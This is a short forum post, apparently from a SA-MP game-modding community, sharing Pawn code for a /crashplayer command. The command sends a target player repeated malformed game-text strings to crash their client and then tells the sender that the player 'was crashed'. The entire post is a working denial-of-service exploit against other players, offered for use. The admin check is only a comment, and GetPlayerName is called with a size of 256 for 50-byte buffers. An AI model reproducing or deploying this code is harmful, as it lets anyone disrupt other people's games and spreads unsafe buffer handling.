This is my first code, please rep :D
Code:
CMD:crashplayer(playerid, params[])
{
/////You can add here the variable for administrator
new id,adminname[50], playername[50], sendername[MAX_PLAYER_NAME], string[50];
if(sscanf(params, "d", id)) return SendClientMessage(playerid, -1, "USSAGE: /crashplayer [id]");
if(!IsPlayerConnected(id)) return SendClientMessage(playerid, -1, "Player not connected.");
if(IsPlayerConnected(id))
{
GameTextForPlayer(id, "¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 1000, 0);
GameTextForPlayer(id, "¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 2000, 1);
GameTextForPlayer(id, "¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 3000, 2);
GameTextForPlayer(id, "¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 4000, 3);
GameTextForPlayer(id, "¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 5000, 4);
GameTextForPlayer(id, "¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 6000, 5);
GameTextForPlayer(id, "¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 7000, 6);
GameTextForPlayer(id, "¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 12000, 6);
GetPlayerName(id, playername, 256);
GetPlayerName(playerid, adminname, 256);
GetPlayerName(playerid, sendername, sizeof(sendername));
format(string, sizeof(string), "%s was crashed", playername);
SendClientMessage(playerid, -1, string);
}
return 1;
}